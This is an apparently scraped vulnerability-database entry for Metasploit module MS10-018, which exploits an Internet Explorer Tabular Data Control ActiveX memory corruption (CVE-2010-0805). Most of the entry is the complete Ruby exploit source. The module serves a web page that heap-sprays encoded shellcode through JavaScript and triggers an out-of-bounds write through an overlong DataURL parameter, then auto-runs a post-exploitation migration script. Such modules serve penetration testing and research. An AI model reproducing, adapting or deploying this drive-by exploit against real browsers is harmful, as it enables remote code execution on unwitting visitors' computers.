Lucene search

Unknown, jduck <[email protected]>MSF:EXPLOIT-WINDOWS-BROWSER-MS10_018_IE_TABULAR_ACTIVEX-

HistoryApr 05, 2010 - 8:25 p.m.

MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption

2010-04-0520:25:56

Unknown, jduck <[email protected]>

www.rapid7.com

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

EPSS

0.972

Percentile

99.9%

JSON

This module exploits a memory corruption vulnerability in the Internet Explorer Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet Explorer are vulnerable. By specifying a long value as the “DataURL” parameter to this control, it is possible to write a NUL byte outside the bounds of an array. By targeting control flow data on the stack, an attacker can execute arbitrary code.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption',
      'Description'    => %q{
          This module exploits a memory corruption vulnerability in the Internet Explorer
        Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet
        Explorer are vulnerable.

        By specifying a long value as the "DataURL" parameter to this control, it is possible
        to write a NUL byte outside the bounds of an array. By targeting control flow data
        on the stack, an attacker can execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',  # original discovery
          'jduck'     # metasploit version
        ],
      'References'     =>
        [
          [ 'CVE', '2010-0805' ],
          [ 'OSVDB', '63329' ],
          [ 'BID', '39025' ],
          [ 'ZDI', '10-034' ],
          [ 'MSB', 'MS10-018' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "", #"\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic (Heap Spray)',
            {
              'Ret' => 0x0c0c0c0c
            }
          ],
        ],
      'DisclosureDate' => '2010-03-09',
      'DefaultTarget'  => 0))
  end


  def on_request_uri(cli, request)

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    print_status("Sending #{self.name} (target: #{target.name})")

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Set the return\nops
    ret  	    = Rex::Text.to_unescape([target.ret].pack('V'))

    # ActiveX parameters
    #progid =
    clsid = "333C7BC4-460F-11D0-BC04-0080C7055A83"

    # exploit url
    url = "http://"
    #url << rand_text_alphanumeric(258)
    url << rand_text_alphanumeric(258+0x116+2)

    # Construct the final page
    var_unescape   = rand_text_alpha(rand(100) + 1)
    var_shellcode  = rand_text_alpha(rand(100) + 1)
    var_memory     = rand_text_alpha(rand(100) + 1)
    var_spray      = rand_text_alpha(rand(100) + 1)
    var_i          = rand_text_alpha(rand(100) + 1)

    html = %Q|<html><body>
<script>
var #{var_memory} = new Array();
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}("#{ret * 2}");
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0x4000 );
for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
</script>
<object classid='clsid:#{clsid}'>
<param name='DataURL' value='#{url}'/>
</object>
</body></html>
|

    # Transmit the compressed response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)

  end
end